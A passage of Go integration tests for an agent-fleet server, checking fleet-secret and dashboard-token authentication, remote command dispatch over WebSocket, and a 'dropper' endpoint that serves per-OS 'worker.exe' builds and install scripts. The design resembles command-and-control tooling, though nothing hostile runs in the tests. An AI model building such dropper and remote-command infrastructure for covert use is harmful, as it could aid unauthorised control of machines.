// report and heartbeat require fleet secret; they don't need a pre-registered engine.
|
|
body, _ := json.Marshal(map[string]string{"agent_id": "report-agent", "tool": "sleep", "output": "ok"})
|
|
rec = serveWithFleetSecret(t, router, http.MethodPost, "/api/v1/agent/report", testFleetSecret, body)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("report status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
|
|
hb, _ := json.Marshal(map[string]string{"agent_id": "hb-agent", "status": "alive"})
|
|
rec = serveWithFleetSecret(t, router, http.MethodPost, "/api/v1/agent/heartbeat", testFleetSecret, hb)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("heartbeat status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
}
|
|
|
|
func TestIntegrationAgentRoutesFleetSecret(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
SetAgentPathSecret("integration-fleet-secret")
|
|
t.Cleanup(func() { SetAgentPathSecret("") })
|
|
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/heartbeat",
|
|
bytes.NewReader([]byte(`{"agent_id":"a","status":"alive"}`)))
|
|
req.Header.Set("Content-Type", "application/json")
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusForbidden {
|
|
t.Fatalf("missing fleet secret expected 403, got %d", rec.Code)
|
|
}
|
|
|
|
req.Header.Set("X-Fleet-Secret", "integration-fleet-secret")
|
|
rec = httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("valid fleet secret expected 200, got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
}
|
|
|
|
func TestIntegrationDropperVariants(t *testing.T) {
|
|
router, _, database, dataDir := newTestRouter(t)
|
|
|
|
req := httptest.NewRequest(http.MethodGet, "/get", nil)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusNotFound {
|
|
t.Fatalf("no builds expected 404, got %d", rec.Code)
|
|
}
|
|
|
|
insertTestBuild(t, database, dataDir, "win-drop", "windows", "worker.exe")
|
|
req = httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
|
|
rec = httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("windows build expected 200, got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
|
|
req = httptest.NewRequest(http.MethodGet, "/get?os=linux", nil)
|
|
rec = httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("linux with only windows build falls back to latest, expected 200, got %d", rec.Code)
|
|
}
|
|
|
|
req = httptest.NewRequest(http.MethodGet, "/get", nil)
|
|
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0)")
|
|
rec = httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("UA-detected windows expected 200, got %d", rec.Code)
|
|
}
|
|
|
|
for _, path := range []string{"/install.sh", "/install.ps1"} {
|
|
req = httptest.NewRequest(http.MethodGet, path, nil)
|
|
req.Host = "forge.local:8989"
|
|
rec = httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("%s status=%d", path, rec.Code)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestIntegrationBuildUninstallNotFound(t *testing.T) {
|
|
router, _, database, dataDir := newTestRouter(t)
|
|
buildID := "uninstall-build"
|
|
insertTestBuild(t, database, dataDir, buildID, "windows", "worker.exe")
|
|
|
|
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/builds/"+buildID+"/uninstall", nil)
|
|
if rec.Code != http.StatusNotFound {
|
|
t.Fatalf("missing uninstall script expected 404, got %d", rec.Code)
|
|
}
|
|
}
|
|
|
|
func TestIntegrationRouterWebSocketDashboard(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
srv := startRouterServer(t, router)
|
|
|
|
badURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/dashboard"
|
|
_, resp, err := websocket.DefaultDialer.Dial(badURL, nil)
|
|
if err == nil {
|
|
t.Fatal("expected dial failure without token")
|
|
}
|
|
if resp == nil || resp.StatusCode != http.StatusUnauthorized {
|
|
t.Fatalf("expected 401 without token, got err=%v status=%v", err, resp)
|
|
}
|
|
|
|
goodURL := badURL + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
|
conn, resp, err := websocket.DefaultDialer.Dial(goodURL, nil)
|
|
if err != nil {
|
|
t.Fatalf("dial with token: %v status=%v", err, resp)
|
|
}
|
|
t.Cleanup(func() { _ = conn.Close() })
|
|
|
|
var msg Message
|
|
if err := conn.ReadJSON(&msg); err != nil {
|
|
t.Fatalf("read init: %v", err)
|
|
}
|
|
if msg.Type != "init" {
|
|
t.Fatalf("expected init, got %q", msg.Type)
|
|
}
|
|
}
|
|
|
|
func TestIntegrationRouterWebSocketAgentBadSecret(t *testing.T) {
|
|
router, wsHub, _, _ := newTestRouter(t)
|
|
wsHub.SetFleetSecret("ws-fleet-secret")
|
|
t.Cleanup(func() { wsHub.SetFleetSecret("") })
|
|
|
|
srv := startRouterServer(t, router)
|
|
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/agent"
|
|
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
|
if err != nil {
|
|
t.Fatalf("dial agent ws: %v", err)
|
|
}
|
|
t.Cleanup(func() { _ = conn.Close() })
|
|
|
|
resp := authAgentConn(t, conn, map[string]interface{}{
|
|
"agent_id": "bad-secret-agent", "fleet_secret": "wrong", "hostname": "host",
|
|
})
|
|
var body map[string]interface{}
|
|
if err := json.Unmarshal(resp.Payload, &body); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if body["success"] != false {
|
|
t.Fatalf("expected auth failure with bad fleet secret, got %+v", body)
|
|
}
|
|
if wsHub.isAgentConnected("bad-secret-agent") {
|
|
t.Fatal("agent should not register with bad fleet secret")
|
|
}
|
|
}
|
|
|
|
func TestIntegrationRouterWebSocketAgentConnectedCommand(t *testing.T) {
|
|
router, wsHub, _, _ := newTestRouter(t)
|
|
agentID := "router-cmd-agent"
|
|
connectAgentViaRouter(t, router, agentID)
|
|
|
|
deadline := time.Now().Add(2 * time.Second)
|
|
for time.Now().Before(deadline) {
|
|
if wsHub.isAgentConnected(agentID) {
|
|
break
|
|
}
|
|
time.Sleep(10 * time.Millisecond)
|
|
}
|
|
if !wsHub.isAgentConnected(agentID) {
|
|
t.Fatal("agent not connected via router ws")
|
|
}
|
|
|
|
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/"+agentID+"/command",
|
|
[]byte(`{"action":"pause"}`))
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
}
|
|
|
|
// TestIntegrationRouterCommandFullRoundTrip validates the full remote-command path
|
|
// through the HTTP router: POST /api/v1/agents/{id}/command → agent WS receives
|
|
// command → simulated agent sends command_result → dashboard WS receives broadcast.
|
|
func TestIntegrationRouterCommandFullRoundTrip(t *testing.T) {
|
|
router, wsHub, _, _ := newTestRouter(t)
|
|
agentID := "router-roundtrip-agent"
|
|
const testAction = "pause"
|
|
const resultMessage = "integration round-trip ok"
|
|
|
|
agentConn, srv := connectAgentViaRouter(t, router, agentID)
|
|
|
|
deadline := time.Now().Add(2 * time.Second)
|
|
for time.Now().Before(deadline) {
|
|
if wsHub.isAgentConnected(agentID) {
|
|
break
|
|
}
|
|
time.Sleep(10 * time.Millisecond)
|
|
}
|
|
if !wsHub.isAgentConnected(agentID) {
|
|
t.Fatal("agent not connected via router ws")
|
|
}
|
|
|
|
dashURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/dashboard?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
|
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
|
|
if err != nil {
|
|
t.Fatalf("dial dashboard ws: %v", err)
|
|
}
|
|
t.Cleanup(func() { _ = dashConn.Close() })
|
|
|
|
type msgResult struct {
|
|
body map[string]interface{}
|
|
err string
|
|
}
|
|
cmdResultCh := make(chan msgResult, 1)
|
|
go func() {
|
|
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
|
for {
|
|
var msg Message
|
|
if err := dashConn.ReadJSON(&msg); err != nil {
|
|
cmdResultCh <- msgResult{err: err.Error()}
|
|
return
|
|
}
|
|
if msg.Type != "command_result" {
|
|
continue
|
|
}
|
|
var body map[string]interface{}
|
|
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
|
|
cmdResultCh <- msgResult{err: "parse: " + parseErr.Error()}
|
|
return
|
|
}
|
|
cmdResultCh <- msgResult{body: body}
|
|
return
|
|
}
|
|
}()
|
|
|
|
type agentCmdResult struct {
|
|
cmd Message
|
|
err string
|
|
}
|
|
agentCmdCh := make(chan agentCmdResult, 1)
|
|
go func() {
|
|
_ = agentConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
|
for {
|
|
var cmd Message
|
|
if err := agentConn.ReadJSON(&cmd); err != nil {
|
|
agentCmdCh <- agentCmdResult{err: err.Error()}
|
|
return
|
|
}
|
|
if cmd.Type != "command" {
|
|
continue
|
|
}
|
|
agentCmdCh <- agentCmdResult{cmd: cmd}
|
|
|
|
cmdPayload, _ := json.Marshal(map[string]interface{}{
|
|
"action": testAction,
|
|
"success": true,
|
|
"message": resultMessage,
|
|
})
|
|
if err := agentConn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}); err != nil {
|
|
agentCmdCh <- agentCmdResult{err: "send command_result: " + err.Error()}
|
|
}
|
|
return
|
|
}
|
|
}()
|
|
|
|
cmdBody, _ := json.Marshal(map[string]string{
|
|
"action": testAction,
|
|
})
|
|
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/"+agentID+"/command", cmdBody)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
var httpBody map[string]interface{}
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &httpBody); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if httpBody["success"] != true {
|
|
t.Fatalf("expected success=true, got %v", httpBody)
|
|
}
|
|
if httpBody["action"] != testAction {
|
|
t.Fatalf("http action: got %v, want %s", httpBody["action"], testAction)
|
|
}
|
|
|
|
select {
|
|
case r := <-agentCmdCh:
|
|
if r.err != "" {
|
|
t.Fatalf("agent did not receive command: %s", r.err)
|
|
}
|
|
if r.cmd.Type != "command" {
|
|
t.Fatalf("agent expected command, got %q", r.cmd.Type)
|
|
}
|
|
var payload map[string]interface{}
|
|
if err := json.Unmarshal(r.cmd.Payload, &payload); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if payload["action"] != testAction {
|
|
t.Errorf("agent command action: got %v, want %s", payload["action"], testAction)
|
|
}
|
|
case <-time.After(5 * time.Second):
|
|
t.Fatal("timed out waiting for agent command")
|
|
}
|
|
|
|
select {
|
|
case r := <-cmdResultCh:
|
|
if r.err != "" {
|
|
t.Fatalf("dashboard did not receive command_result: %s", r.err)
|
|
}
|
|
if r.body["agent_id"] != agentID {
|
|
t.Errorf("dashboard agent_id: got %v, want %s", r.body["agent_id"], agentID)
|
|
}
|
|
if r.body["action"] != testAction {
|
|
t.Errorf("dashboard action: got %v, want %s", r.body["action"], testAction)
|
|
}
|
|
if r.body["message"] != resultMessage {
|
|
t.Errorf("dashboard message: got %v, want %q", r.body["message"], resultMessage)
|
|
}
|
|
if r.body["success"] != true {
|
|
t.Errorf("dashboard success: got %v, want true", r.body["success"])
|
|
}
|
|
case <-time.After(5 * time.Second):
|
|
t.Fatal("timed out waiting for command_result broadcast")
|
|
}
|
|
}
|